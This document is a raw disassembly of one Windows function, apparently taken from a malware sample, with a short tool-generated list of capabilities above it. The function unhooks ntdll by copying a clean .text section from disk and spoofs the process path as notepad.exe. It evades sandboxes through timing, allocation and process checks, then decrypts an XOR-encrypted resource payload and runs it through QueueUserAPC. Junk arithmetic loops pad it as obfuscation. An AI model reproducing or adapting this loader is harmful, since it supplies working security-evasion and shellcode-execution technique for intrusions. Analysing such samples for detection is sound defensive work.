Function at 0x140001450
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Link many functions at runtime
Read file via mapping

Disassembly:
push rbp
push rbx
sub rsp, 0x448
lea rbp, [rsp + 0x80]
movups xmmword [rbp + 0x3b0], xmm6
mov dword [rbp + 0x3e0], ecx
mov qword [rbp + 0x3e8], rdx
call fcn.140002a50
lea rax, str.ntdll.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov qword [rbp + 0x350], rax
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov qword [rbp + 0x348], rax
lea rax, str.ntdll.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov qword [rbp + 0x340], rax
lea rax, str.psapi.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov rcx, rax
lea rax, str.GetModuleInformation
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x3a8], rax
cmp qword [rbp + 0x3a8], 0
jne 0x140001532
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov rcx, rax
lea rax, str.GetModuleInformation
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x3a8], rax
cmp qword [rbp + 0x3a8], 0
je 0x1400017c0
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
lea rdx, [rbp + 0x160]
mov rax, qword [rbp + 0x340]
mov r10, qword [rbp + 0x3a8]
mov r9d, 0x18
mov r8, rdx
mov rdx, rax
call r10
mov rax, qword [rbp + 0x160]
mov qword [rbp + 0x338], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 3
mov r9d, 0
mov r8d, 1
mov edx, 0x80000000
lea rax, str.c:windows_system32_ntdll.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateFileA]
call rax
mov qword [rbp + 0x330], rax
mov rax, qword [rbp + 0x330]
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0x1000002
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateFileMappingA]
call rax
mov qword [rbp + 0x328], rax
mov rax, qword [rbp + 0x328]
mov qword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0
mov edx, 4
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_MapViewOfFile]
call rax
mov qword [rbp + 0x320], rax
mov rax, qword [rbp + 0x338]
mov qword [rbp + 0x318], rax
mov rax, qword [rbp + 0x318]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp + 0x338]
add rax, rdx
mov qword [rbp + 0x310], rax
mov word [rbp + 0x3a6], 0
jmp 0x1400017a8
mov rax, qword [rbp + 0x310]
movzx eax, word [rax + 0x14]
movzx edx, ax
mov rax, qword [rbp + 0x310]
lea rcx, [rdx + rax]
movzx edx, word [rbp + 0x3a6]
mov rax, rdx
shl rax, 2
add rax, rdx
shl rax, 3
add rax, rcx
add rax, 0x18
mov qword [rbp + 0x308], rax
mov rax, qword [rbp + 0x308]
lea rdx, str..text
mov rcx, rax
call sub.msvcrt.dll_strcmp
test eax, eax
jne 0x140001797
mov dword [rbp + 0x128], 0
mov rax, qword [rbp + 0x308]
mov eax, dword [rax + 8]
mov edx, eax
mov rax, qword [rbp + 0x308]
mov eax, dword [rax + 0xc]
mov ecx, eax
mov rax, qword [rbp + 0x338]
add rax, rcx
mov rcx, rax
lea rax, [rbp + 0x128]
mov r9, rax
mov r8d, 0x40
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x308]
mov eax, dword [rax + 8]
mov r8d, eax
mov rax, qword [rbp + 0x308]
mov eax, dword [rax + 0xc]
mov edx, eax
mov rax, qword [rbp + 0x320]
add rax, rdx
mov rdx, rax
mov rax, qword [rbp + 0x308]
mov eax, dword [rax + 0xc]
mov ecx, eax
mov rax, qword [rbp + 0x338]
add rax, rcx
mov rcx, rax
call sub.msvcrt.dll_memcpy
mov edx, dword [rbp + 0x128]
mov rax, qword [rbp + 0x308]
mov eax, dword [rax + 8]
mov r10d, eax
mov rax, qword [rbp + 0x308]
mov eax, dword [rax + 0xc]
mov ecx, eax
mov rax, qword [rbp + 0x338]
add rax, rcx
mov rcx, rax
lea rax, [rbp + 0x128]
mov r9, rax
mov r8d, edx
mov rdx, r10
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
movzx eax, word [rbp + 0x3a6]
add eax, 1
mov word [rbp + 0x3a6], ax
mov rax, qword [rbp + 0x310]
movzx eax, word [rax + 6]
cmp word [rbp + 0x3a6], ax
jb 0x14000166c
mov dword [rbp + 0x12c], 0
mov rax, qword [rbp + 0x350]
lea rdx, str.NtQueryInformationProcess
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x300], rax
mov dword [rbp + 0x2fc], 1
mov ecx, 0x760
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x2f0], rax
mov qword [rbp + 0x398], 2
jmp 0x14000183a
mov rax, qword [rbp + 0x398]
lea rdx, [rax*4]
mov rax, qword [rbp + 0x2f0]
add rax, rdx
mov dword [rax], 1
add qword [rbp + 0x398], 1
cmp qword [rbp + 0x398], 0x1d7
jbe 0x140001813
mov qword [rbp + 0x398], 2
jmp 0x1400018d1
mov rax, qword [rbp + 0x398]
lea rdx, [rax*4]
mov rax, qword [rbp + 0x2f0]
add rax, rdx
mov eax, dword [rax]
test eax, eax
je 0x1400018c9
mov rax, qword [rbp + 0x398]
mov qword [rbp + 0x390], rax
jmp 0x1400018b2
mov rax, qword [rbp + 0x398]
imul rax, qword [rbp + 0x390]
lea rdx, [rax*4]
mov rax, qword [rbp + 0x2f0]
add rax, rdx
mov dword [rax], 0
add qword [rbp + 0x390], 1
mov rax, qword [rbp + 0x398]
imul rax, qword [rbp + 0x390]
cmp rax, 0x1d7
jbe 0x140001883
add qword [rbp + 0x398], 1
cmp qword [rbp + 0x398], 0x1d7
jbe 0x140001854
mov rax, qword [rbp + 0x2f0]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
lea rdx, [rbp + 0x130]
lea rax, [rbp + 0x12c]
mov qword [rsp + 0x20], rax
mov rax, qword [rbp + 0x300]
mov r9d, 0x30
mov r8, rdx
mov edx, 0
call rax
mov rax, qword [rbp + 0x138]
add rax, 0x3c
mov qword [rbp + 0x2e8], rax
mov rax, qword [rbp + 0x2e8]
lea rdx, str.C:windows_system32_notepad.exe
mov qword [rax + 0x78], rdx
mov rax, qword [rbp + 0x2e8]
lea rdx, str.C:windows_system32_notepad.exe
mov qword [rax + 0x68], rdx
mov dword [rbp + 0x38c], 0xffffffff
add dword [rbp + 0x38c], 1
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0x2e8ba2e9
shr rdx, 0x20
sar edx, 2
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
mov dword [rbp + 0x2e4], edx
mov edx, dword [rbp + 0x2e4]
imul edx, edx, 0x16
sub eax, edx
mov dword [rbp + 0x2e4], eax
call sub.msvcrt.dll_rand
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
movsd xmm1, qword [0x140006168]
divsd xmm0, xmm1
movq rax, xmm0
mov edx, dword [rbp + 0x2e4]
movq xmm0, rax
call fcn.140003d30
movq rax, xmm0
mov qword [rbp + 0x2d8], rax
cmp dword [rbp + 0x38c], 0x1d8
jle 0x140001967
mov qword [rbp + 0x2d0], 0
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.VirtualAlloc
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x2c8], rax
mov rax, qword [rbp + 0x2c8]
mov r9d, 0x40
mov r8d, 0x3000
mov edx, 0x305d680
mov ecx, 0
call rax
mov qword [rbp + 0x2d0], rax
cmp qword [rbp + 0x2d0], 0
je 0x14000297e
mov rax, qword [rbp + 0x2d0]
mov edx, 0x305d680
mov rcx, rax
call fcn.140004160
mov rax, qword [rbp + 0x2d0]
mov r8d, 0x8000
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualFree]
call rax
mov dword [rbp + 0x2c4], 0x33f
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.SleepEx
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x2b8], rax
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.GetTickCount
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x2b0], rax
mov rax, qword [rbp + 0x2b0]
call rax
mov dword [rbp + 0x2ac], eax
mov eax, dword [rbp + 0x2c4]
mov r8, qword [rbp + 0x2b8]
mov edx, 0
mov ecx, eax
call r8
mov rax, qword [rbp + 0x2b0]
call rax
mov dword [rbp + 0x2a8], eax
mov eax, dword [rbp + 0x2a8]
sub eax, dword [rbp + 0x2ac]
cmp eax, 0x30d
jbe 0x14000297e
mov qword [rbp + 0x2a0], 0
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.VirtualAllocExNuma
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x298], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x40
mov rax, qword [rbp + 0x298]
mov r9d, 0x3000
mov r8d, 0x370
mov edx, 0
call rax
mov qword [rbp + 0x2a0], rax
cmp qword [rbp + 0x2a0], 0
je 0x14000297e
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.FlsAlloc
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x290], rax
mov rax, qword [rbp + 0x290]
mov ecx, 0
call rax
mov dword [rbp + 0x28c], eax
cmp dword [rbp + 0x28c], 0xffffffff
je 0x14000297e
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.OpenProcess
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x280], rax
mov rax, qword [rbp + 0x280]
mov r8d, 4
mov edx, 0
mov ecx, 0x1fffff
call rax
mov qword [rbp + 0x278], rax
cmp qword [rbp + 0x278], 0
jne 0x14000297e
mov r9d, 0
mov r8d, 0
mov edx, 1
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_CreateEventA]
call rax
mov qword [rbp + 0x270], rax
cmp qword [rbp + 0x270], 0
je 0x14000297e
mov rax, qword [rbp + 0x270]
mov edx, 0x518
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
call rax
mov dword [rbp + 0x26c], eax
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.GetTickCount
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x260], rax
mov rax, qword [rbp + 0x260]
call rax
mov dword [rbp + 0x25c], eax
mov ecx, 0x33e
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
mov rax, qword [rbp + 0x260]
call rax
mov dword [rbp + 0x258], eax
mov eax, dword [rbp + 0x258]
sub eax, dword [rbp + 0x25c]
cmp eax, 0x30c
jbe 0x14000297e
mov r8d, 4
mov edx, 0
mov ecx, 0x1fffff
mov rax, qword [sym.imp.KERNEL32.dll_OpenProcess]
call rax
mov qword [rbp + 0x250], rax
cmp qword [rbp + 0x250], 0
jne 0x14000297e
mov qword [rbp + 0x248], 0
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.VirtualAllocExNuma
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x240], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x40
mov rax, qword [rbp + 0x240]
mov r9d, 0x3000
mov r8d, 0x260
mov edx, 0
call rax
mov qword [rbp + 0x248], rax
cmp qword [rbp + 0x248], 0
je 0x14000297e
mov qword [rbp + 0x238], 0
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.VirtualAlloc
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x230], rax
mov rax, qword [rbp + 0x230]
mov r9d, 0x40
mov r8d, 0x3000
mov edx, 0x44faa80
mov ecx, 0
call rax
mov qword [rbp + 0x238], rax
cmp qword [rbp + 0x238], 0
je 0x14000297e
mov rax, qword [rbp + 0x238]
mov edx, 0x44faa80
mov rcx, rax
call fcn.140004160
mov rax, qword [rbp + 0x238]
mov r8d, 0x8000
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualFree]
call rax
mov rax, qword [rbp + 0x348]
lea rdx, str.FindResource
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x228], rax
lea rax, str.WBYWCVSXXPTH
movzx eax, ax
mov rdx, rax
mov rax, qword [rbp + 0x228]
lea r8, str.WBYWCVSXXPTH
mov ecx, 0
call rax
mov qword [rbp + 0x220], rax
mov rax, qword [rbp + 0x348]
lea rdx, str.LoadResource
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x218], rax
mov dword [rbp + 0x384], 0x96
mov dword [rbp + 0x388], 0x96
jmp 0x140001f21
sub dword [rbp + 0x384], 1
sub dword [rbp + 0x388], 1
cmp dword [rbp + 0x388], 0x54
jg 0x140001f13
mov rax, qword [rbp + 0x220]
mov r8, qword [rbp + 0x218]
mov rdx, rax
mov ecx, 0
call r8
mov qword [rbp + 0x210], rax
mov rax, qword [rbp + 0x348]
lea rdx, str.SizeofResource
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x208], rax
mov rax, qword [rbp + 0x348]
lea rdx, str.HeapCreate
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x200], rax
mov rax, qword [rbp + 0x348]
lea rdx, str.HeapAlloc
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x1f8], rax
mov rax, qword [rbp + 0x220]
mov r8, qword [rbp + 0x208]
mov rdx, rax
mov ecx, 0
call r8
mov rdx, rax
mov rax, qword [rbp + 0x200]
mov r8d, 0
mov ecx, 0x40000
call rax
mov qword [rbp + 0x1f0], rax
mov rax, qword [rbp + 0x220]
mov r8, qword [rbp + 0x208]
mov rdx, rax
mov ecx, 0
call r8
mov rdx, rax
mov rax, qword [rbp + 0x1f0]
mov r9, qword [rbp + 0x1f8]
mov r8, rdx
mov edx, 8
mov rcx, rax
call r9
mov qword [rbp + 0x1e8], rax
mov rax, qword [rbp + 0x350]
lea rdx, str.RtlMoveMemory
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x1e0], rax
mov rax, qword [rbp + 0x220]
mov r8, qword [rbp + 0x208]
mov rdx, rax
mov ecx, 0
call r8
mov rcx, rax
mov rdx, qword [rbp + 0x210]
mov rax, qword [rbp + 0x1e8]
mov r9, qword [rbp + 0x1e0]
mov r8, rcx
mov rcx, rax
call r9
mov dword [rbp + 0x37c], 0
mov dword [rbp + 0x378], 0
movabs rax, 0xd2a93b41f9e840e8
movabs rdx, 0x172aae114a42361
mov qword [rbp + 0xa0], rax
mov qword [rbp + 0xa8], rdx
movabs rax, 0x3fdca426cad13493
movabs rdx, 0x2b53aea0eb1444ba
mov qword [rbp + 0xb0], rax
mov qword [rbp + 0xb8], rdx
movabs rax, 0xec040649509df0dc
movabs rdx, 0xefe1ba4f9b68a8c2
mov qword [rbp + 0xc0], rax
mov qword [rbp + 0xc8], rdx
movabs rax, 0xc7a4daf0f4c00ce7
movabs rdx, 0xe3d9412b9115d256
mov qword [rbp + 0xd0], rax
mov qword [rbp + 0xd8], rdx
movabs rax, 0xafec219ee76852f5
movabs rdx, 0x9213dc515b43df06
mov qword [rbp + 0xe0], rax
mov qword [rbp + 0xe8], rdx
movabs rax, 0xda4f5a86c458f8cf
movabs rdx, 0x8265e36e3111f43b
mov qword [rbp + 0xf0], rax
mov qword [rbp + 0xf8], rdx
movabs rax, 0xe64a7a419f77f1bd
movabs rdx, 0x49f62e5e61bd0485
mov qword [rbp + 0x100], rax
mov qword [rbp + 0x108], rdx
movabs rax, 0xe1ce49f62e5e61bd
movabs rdx, 0x7f561a5357dd1
mov qword [rbp + 0x10a], rax
mov qword [rbp + 0x112], rdx
movabs rax, 0x1e2ae43f35eb0c79
movabs rdx, 0xdb6110ce80f9ddc3
mov qword [rbp - 0x40], rax
mov qword [rbp - 0x38], rdx
movabs rax, 0x638aeef55e49cd37
movabs rdx, 0x6630b57a22eaafbd
mov qword [rbp - 0x30], rax
mov qword [rbp - 0x28], rdx
movabs rax, 0x4097d4c68bf1d245
movabs rdx, 0x4f72a884aeab8401
mov qword [rbp - 0x20], rax
mov qword [rbp - 0x18], rdx
movabs rax, 0xc530c70404c96e7a
movabs rdx, 0x829395cd9a80b7e7
mov qword [rbp - 0x10], rax
mov qword [rbp - 8], rdx
movabs rax, 0x187cbc4324d5e898
movabs rdx, 0xcf3b6c8c1e0766b6
mov qword [rbp], rax
mov qword [rbp + 8], rdx
movabs rax, 0xdc4dcf3b6c8c1e07
movabs rdx, 0xf06fde2289f996
mov qword [rbp + 0xa], rax
mov qword [rbp + 0x12], rdx
mov dword [rbp + 0x374], 0xffffffff
mov ecx, 0xda8
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x1d8], rax
mov ecx, 0xda8
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x1d0], rax
add dword [rbp + 0x374], 1
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0x10624dd3
shr rdx, 0x20
sar edx, 6
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x3e8
sub eax, ecx
mov edx, eax
pxor xmm6, xmm6
cvtsi2sd xmm6, edx
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0xffffffffea0ea0eb
shr rdx, 0x20
add edx, eax
sar edx, 6
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x46
sub eax, ecx
mov edx, eax
pxor xmm1, xmm1
cvtsi2sd xmm1, edx
mov eax, dword [rbp + 0x374]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x1d8]
add rax, rdx
divsd xmm6, xmm1
movupd xmm0, xmm6
movsd qword [rax], xmm0
mov eax, dword [rbp + 0x374]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x1d8]
add rax, rdx
mov rax, qword [rax]
mov edx, dword [rbp + 0x374]
movsxd rdx, edx
lea rcx, [rdx*8]
mov rdx, qword [rbp + 0x1d0]
lea rbx, [rcx + rdx]
movq xmm0, rax
call fcn.140003a40
movq rax, xmm0
mov qword [rbx], rax
cmp dword [rbp + 0x374], 0x1b3
jle 0x140002276
mov dword [rbp + 0x380], 0
jmp 0x14000246e
cmp dword [rbp + 0x37c], 0x58
jne 0x1400023ad
mov eax, dword [rbp + 0x380]
cdqe
movzx edx, byte [rbp + rax + 0xa0]
mov eax, dword [rbp + 0x37c]
cdqe
movzx eax, byte [rbp + rax - 0x40]
xor edx, eax
mov eax, dword [rbp + 0x380]
cdqe
mov byte [rbp + rax + 0x20], dl
mov dword [rbp + 0x37c], 0
jmp 0x140002467
mov dword [rbp + 0x370], 0
jmp 0x1400023fc
call sub.msvcrt.dll_rand
mov edx, eax
mov eax, edx
add eax, eax
add eax, edx
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
movsd xmm1, qword [0x140006168]
divsd xmm0, xmm1
movq rax, xmm0
movq xmm0, rax
call fcn.140003b20
movq rax, xmm0
mov qword [rbp + 0x180], rax
add dword [rbp + 0x370], 1
cmp dword [rbp + 0x370], 0x3bd
jle 0x1400023b9
mov eax, dword [rbp + 0x380]
cdqe
movzx edx, byte [rbp + rax + 0xa0]
mov eax, dword [rbp + 0x37c]
cdqe
movzx eax, byte [rbp + rax - 0x40]
xor edx, eax
mov eax, dword [rbp + 0x380]
cdqe
mov byte [rbp + rax + 0x20], dl
mov dword [rbp + 0x368], 0x1cc
mov dword [rbp + 0x36c], 0x1cc
jmp 0x140002457
sub dword [rbp + 0x368], 1
sub dword [rbp + 0x36c], 1
cmp dword [rbp + 0x36c], 0x3a
jg 0x140002449
add dword [rbp + 0x37c], 1
add dword [rbp + 0x380], 1
mov eax, dword [rbp + 0x380]
cmp eax, 0x78
jbe 0x14000236a
mov dword [rbp + 0x380], 0
jmp 0x14000288c
mov ecx, 0x924
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x1a8], rax
mov dword [rbp + 0x364], 0
jmp 0x140002535
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0x10624dd3
shr rdx, 0x20
sar edx, 6
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x3e8
sub eax, ecx
mov edx, eax
pxor xmm6, xmm6
cvtsi2ss xmm6, edx
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0xffffffffea0ea0eb
shr rdx, 0x20
add edx, eax
sar edx, 6
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x46
sub eax, ecx
mov edx, eax
pxor xmm1, xmm1
cvtsi2ss xmm1, edx
mov eax, dword [rbp + 0x364]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x1a8]
add rax, rdx
divss xmm6, xmm1
movups xmm0, xmm6
movss dword [rax], xmm0
add dword [rbp + 0x364], 1
cmp dword [rbp + 0x364], 0x248
jle 0x1400024ac
mov dword [rbp + 0x364], 0
jmp 0x140002661
mov dword [rbp + 0x18c], 0
jmp 0x140002643
mov eax, dword [rbp + 0x364]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x1a8]
add rax, rdx
movss xmm0, dword [rax]
mov eax, dword [rbp + 0x18c]
cdqe
add rax, 1
lea rdx, [rax*4]
mov rax, qword [rbp + 0x1a8]
add rax, rdx
movss xmm1, dword [rax]
comiss xmm0, xmm1
jbe 0x14000263c
mov eax, dword [rbp + 0x18c]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x1a8]
add rax, rdx
movss xmm0, dword [rax]
movss dword [rbp + 0x188], xmm0
mov eax, dword [rbp + 0x364]
cdqe
add rax, 1
lea rdx, [rax*4]
mov rax, qword [rbp + 0x1a8]
add rdx, rax
mov eax, dword [rbp + 0x18c]
cdqe
lea rcx, [rax*4]
mov rax, qword [rbp + 0x1a8]
add rax, rcx
movss xmm0, dword [rdx]
movss dword [rax], xmm0
mov eax, dword [rbp + 0x18c]
cdqe
add rax, 1
lea rdx, [rax*4]
mov rax, qword [rbp + 0x1a8]
add rax, rdx
movss xmm0, dword [rbp + 0x188]
movss dword [rax], xmm0
add dword [rbp + 0x364], 1
mov eax, 0x248
sub eax, dword [rbp + 0x364]
cmp dword [rbp + 0x18c], eax
jl 0x140002563
add dword [rbp + 0x364], 1
cmp dword [rbp + 0x364], 0x248
jle 0x140002554
mov rax, qword [rbp + 0x1a8]
mov rcx, rax
call sub.msvcrt.dll_free
cmp dword [rbp + 0x378], 0x78
jne 0x140002732
mov eax, dword [rbp + 0x380]
movsxd rdx, eax
mov rax, qword [rbp + 0x1e8]
add rax, rdx
movzx r8d, byte [rax]
mov eax, dword [rbp + 0x378]
cdqe
movzx ecx, byte [rbp + rax + 0x20]
mov eax, dword [rbp + 0x380]
movsxd rdx, eax
mov rax, qword [rbp + 0x1e8]
add rax, rdx
mov edx, r8d
xor edx, ecx
mov byte [rax], dl
mov dword [rbp + 0x378], 0
mov dword [rbp + 0x360], 0xffffffff
add dword [rbp + 0x360], 1
call sub.msvcrt.dll_rand
mov edx, eax
shl edx, 3
sub edx, eax
pxor xmm0, xmm0
cvtsi2sd xmm0, edx
movsd xmm1, qword [0x140006168]
divsd xmm0, xmm1
movq rax, xmm0
movq xmm0, rax
call fcn.140003b20
movq rax, xmm0
mov qword [rbp + 0x190], rax
cmp dword [rbp + 0x360], 0x39f
jle 0x1400026df
jmp 0x140002885
mov dword [rbp + 0x35c], 0xffffffff
mov ecx, 0x378
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x1a0], rax
mov ecx, 0x378
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x198], rax
add dword [rbp + 0x35c], 1
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0x10624dd3
shr rdx, 0x20
sar edx, 6
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x3e8
sub eax, ecx
mov edx, eax
pxor xmm6, xmm6
cvtsi2sd xmm6, edx
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0xffffffffea0ea0eb
shr rdx, 0x20
add edx, eax
sar edx, 6
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x46
sub eax, ecx
mov edx, eax
pxor xmm1, xmm1
cvtsi2sd xmm1, edx
mov eax, dword [rbp + 0x35c]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x1a0]
add rax, rdx
divsd xmm6, xmm1
movupd xmm0, xmm6
movsd qword [rax], xmm0
mov eax, dword [rbp + 0x35c]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x1a0]
add rax, rdx
mov rax, qword [rax]
mov edx, dword [rbp + 0x35c]
movsxd rdx, edx
lea rcx, [rdx*8]
mov rdx, qword [rbp + 0x198]
lea rbx, [rcx + rdx]
movq xmm0, rax
call fcn.140003a40
movq rax, xmm0
mov qword [rbx], rax
cmp dword [rbp + 0x35c], 0x6d
jle 0x14000275e
mov eax, dword [rbp + 0x380]
movsxd rdx, eax
mov rax, qword [rbp + 0x1e8]
add rax, rdx
movzx r8d, byte [rax]
mov eax, dword [rbp + 0x378]
cdqe
movzx ecx, byte [rbp + rax + 0x20]
mov eax, dword [rbp + 0x380]
movsxd rdx, eax
mov rax, qword [rbp + 0x1e8]
add rax, rdx
mov edx, r8d
xor edx, ecx
mov byte [rax], dl
add dword [rbp + 0x378], 1
add dword [rbp + 0x380], 1
cmp dword [rbp + 0x380], 0x1fd
jle 0x14000248c
mov rax, qword [rbp + 0x1e8]
mov qword [rbp + 0x1c8], rax
mov rax, qword [rbp + 0x348]
lea rdx, str.QueueUserAPC
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x1c0], rax
mov dword [rbp + 0x358], 0
jmp 0x140002918
call sub.msvcrt.dll_rand
imul eax, eax, 0x29a
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
movsd xmm1, qword [0x140006168]
divsd xmm0, xmm1
movq rax, xmm0
movq xmm0, rax
call fcn.140003e00
movq rax, xmm0
mov qword [rbp + 0x1b0], rax
add dword [rbp + 0x358], 1
cmp dword [rbp + 0x358], 0x36d
jle 0x1400028d7
mov rax, qword [rbp + 0x348]
lea rdx, str.SleepEx
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x1b8], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentThread]
call rax
mov rdx, rax
mov rax, qword [rbp + 0x1c8]
mov r9, qword [rbp + 0x1c0]
mov r8d, 0
mov rcx, rax
call r9
mov rax, qword [rbp + 0x1b8]
mov edx, 1
mov ecx, 0xffffffff
call rax
mov eax, 0
movups xmm6, xmmword [rbp + 0x3b0]
add rsp, 0x448
pop rbx
pop rbp
ret